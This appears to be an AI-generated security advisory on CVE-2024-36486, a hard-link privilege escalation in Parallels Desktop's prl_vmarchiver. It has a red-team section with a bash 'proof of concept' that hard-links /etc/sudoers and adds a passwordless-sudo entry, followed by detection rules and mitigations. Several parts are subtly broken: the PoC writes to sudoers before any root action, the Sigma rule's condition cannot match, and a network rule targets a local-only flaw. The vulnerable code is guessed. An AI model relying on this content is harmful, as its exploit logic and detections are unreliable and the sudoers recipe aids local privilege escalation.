CVE-2024-36486

Executive Summary

CVE-2024-36486 is a privilege escalation vulnerability in Parallels Desktop for Mac version 20.1.1 (55740). The flaw resides in the virtual machine archive restoration functionality, specifically within the prl_vmarchiver tool. When restoring an archived virtual machine, the tool decompresses the archive and writes files back to their original location with root privileges. An attacker with local access can exploit this by creating a hard link to an arbitrary file, causing the tool to overwrite that file with root privileges, leading to full system compromise. The vulnerability has a CVSS score of 7.8 (High) and currently has no known patch or public exploit code.

CVSS Breakdown & Threat Level

• CVSS Score: 7.8 (High)
• Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Local (AV:L) – The attacker must have local access to the system.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: Low (PR:L) – The attacker needs a standard user account.
• User Interaction: None (UI:N) – No user action is needed beyond the attacker’s own actions.
• Scope: Unchanged (S:U) – The vulnerability does not cross security boundaries.
• Confidentiality Impact: High (C:H) – Full read access to all files.
• Integrity Impact: High (I:H) – Full write access to any file.
• Availability Impact: High (A:H) – Can cause system denial of service.

Threat Level: High. The vulnerability allows a low-privileged local user to escalate to root, gaining full control over the system. The lack of a patch increases the risk for all affected users.

Deep Dive & Mechanics

The vulnerability is a classic symlink/hardlink race condition (CWE-59: Improper Link Resolution Before File Access). The prl_vmarchiver tool, when restoring a virtual machine archive, performs the following steps:

1. Decompression: The tool decompresses the archive file (e.g., .pvm or .tgz).
2. File Restoration: It writes the decompressed files back to their original location (typically under /Users/Shared/Parallels/ or a user-specified path).
3. Privilege Escalation: The tool runs with root privileges (via setuid or sudo), so all file writes are performed as root.

The attack works as follows:

• The attacker creates a hard link from a file inside the archive to a sensitive system file (e.g., /etc/sudoers, /etc/pam.d/, or a binary in /usr/bin/).
• When prl_vmarchiver restores the archive, it follows the hard link and writes the decompressed data to the target file with root privileges.
• The attacker can then overwrite critical system files, such as adding a new sudo user or replacing a system binary with a malicious one.

The vulnerability is exploitable because the tool does not check whether the file being written is a hard link or a regular file. It blindly follows the link and writes to the target.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code path. The vulnerable function likely resembles:

// Vulnerable pseudocode
void restore_archive(char *archive_path) {
    // Decompress archive
    decompress(archive_path, temp_dir);
    
    // Iterate over files in temp_dir
    for each file in temp_dir {
        char *target_path = get_original_path(file);
        // Write file with root privileges
        write_file_with_root(file, target_path);
    }
}

The fix would involve:

• Checking if the target path is a hard link or symlink before writing.
• Using O_NOFOLLOW flag when opening files to prevent following links.
• Dropping privileges before writing files, or using a sandbox.

A patched version might look like:

// Patched pseudocode
void restore_archive(char *archive_path) {
    // Decompress archive
    decompress(archive_path, temp_dir);
    
    // Iterate over files in temp_dir
    for each file in temp_dir {
        char *target_path = get_original_path(file);
        // Check if target is a hard link
        struct stat st;
        if (lstat(target_path, &st) == 0 && st.st_nlink > 1) {
            // Refuse to write to hard-linked files
            log_error("Refusing to write to hard-linked file: %s", target_path);
            continue;
        }
        // Write file with root privileges, but use O_NOFOLLOW
        int fd = open(target_path, O_WRONLY | O_CREAT | O_NOFOLLOW, 0644);
        if (fd == -1) {
            log_error("Cannot open file: %s", target_path);
            continue;
        }
        write(fd, file_content, file_size);
        close(fd);
    }
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Local user account on a Mac running Parallels Desktop 20.1.1 (55740).
• Ability to create hard links (standard user can create hard links to files they own).

Exploitation Steps:

1. Create a malicious archive:

   • Create a directory structure that mimics the original VM location.
   • Inside, create a file that is a hard link to a sensitive system file (e.g., /etc/sudoers).
   • Use ln to create the hard link: ln /etc/sudoers malicious_file.
   • Archive the directory: tar czf exploit.pvm malicious_file.

2. Trigger restoration:

   • Use the Parallels UI or CLI to restore the archive.
   • The prl_vmarchiver tool will decompress and write the hard-linked file, overwriting /etc/sudoers with the content from the archive.

3. Escalate privileges:

   • The attacker can craft the archive content to add a new sudo user or modify sudoers to grant themselves passwordless sudo.

Proof-of-Concept (No public exploit available):

#!/bin/bash
# PoC for CVE-2024-36486 (conceptual)
# Requires local user access

# Create a temporary directory
mkdir -p /tmp/exploit_vm
cd /tmp/exploit_vm

# Create a hard link to /etc/sudoers
ln /etc/sudoers sudoers_link

# Create a malicious sudoers entry (e.g., allow user 'attacker' to run any command)
echo "attacker ALL=(ALL) NOPASSWD: ALL" > sudoers_link

# Archive the directory
tar czf /tmp/exploit.pvm .

# Trigger restoration (this would be done via Parallels UI or CLI)
# prl_vmarchiver restore /tmp/exploit.pvm

# After restoration, the attacker can run sudo without password
sudo whoami

Blue Team (Detection & Prevention)

Detection:

• Monitor for unusual hard link creation to sensitive files (e.g., /etc/sudoers, /etc/pam.d/, /usr/bin/).
• Monitor prl_vmarchiver process execution and its file write operations.
• Use file integrity monitoring (FIM) to detect changes to critical system files.

Prevention:

• Apply the principle of least privilege: Do not run prl_vmarchiver as root if not necessary.
• Use macOS sandboxing or SIP (System Integrity Protection) to protect critical files.
• Disable the archive restoration feature if not needed.
• Monitor for CVE-2024-36486 patches from Parallels.

Indicators of Compromise (IOCs)

• File System:

  • Unexpected hard links to sensitive files (e.g., /etc/sudoers, /etc/pam.d/, /usr/bin/).
  • Modified system files (e.g., /etc/sudoers with new entries).
  • Presence of suspicious .pvm or .tgz archives in user directories.

• Process:

  • prl_vmarchiver process running with root privileges.
  • Unusual file write operations by prl_vmarchiver to non-standard paths.

• Network:

  • No network indicators (local vulnerability).

• Logs:

  • System log entries showing prl_vmarchiver writing to sensitive files.
  • Auditd logs showing hard link creation to sensitive files.

Detection Engineering

YARA Rule

rule CVE_2024_36486_Parallels_PrivEsc {
    meta:
        description = "Detects exploitation of CVE-2024-36486 via hard link creation to sensitive files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-36486"
    strings:
        $sensitive_paths = /\/etc\/(sudoers|pam\.d|shadow|passwd|group)/
        $hard_link_cmd = /ln\s+\/etc\/(sudoers|pam\.d|shadow|passwd|group)/
        $prl_vmarchiver = "prl_vmarchiver"
    condition:
        ($hard_link_cmd or ($sensitive_paths and $prl_vmarchiver))
}

Sigma Rule

title: CVE-2024-36486 Parallels Desktop Privilege Escalation
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation of CVE-2024-36486 via hard link creation and prl_vmarchiver execution
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-36486
logsource:
    category: process_creation
    product: macos
detection:
    selection_hardlink:
        Image|endswith: '/bin/ln'
        CommandLine|contains:
            - '/etc/sudoers'
            - '/etc/pam.d'
            - '/etc/shadow'
            - '/etc/passwd'
            - '/etc/group'
    selection_prl:
        Image|endswith: '/prl_vmarchiver'
    condition: selection_hardlink and selection_prl
falsepositives:
    - Legitimate system administration tasks
level: high

Suricata Rule

alert ip any any -> any any (msg:"CVE-2024-36486 Parallels Desktop Privilege Escalation Attempt"; content:"prl_vmarchiver"; content:"/etc/"; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable archive restoration: If not needed, disable the prl_vmarchiver tool or remove its setuid bit.
2. Restrict hard link creation: Use macOS security policies to prevent users from creating hard links to sensitive files.
3. Monitor for exploitation: Deploy the YARA/Sigma rules above to detect attacks.

Long-term Fix:

• Apply the official patch from Parallels when available.
• Upgrade to a patched version of Parallels Desktop.

Workaround:

• Use file integrity monitoring (e.g., Tripwire, OSSEC) to detect changes to critical system files.
• Implement application whitelisting to prevent unauthorized execution of prl_vmarchiver.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.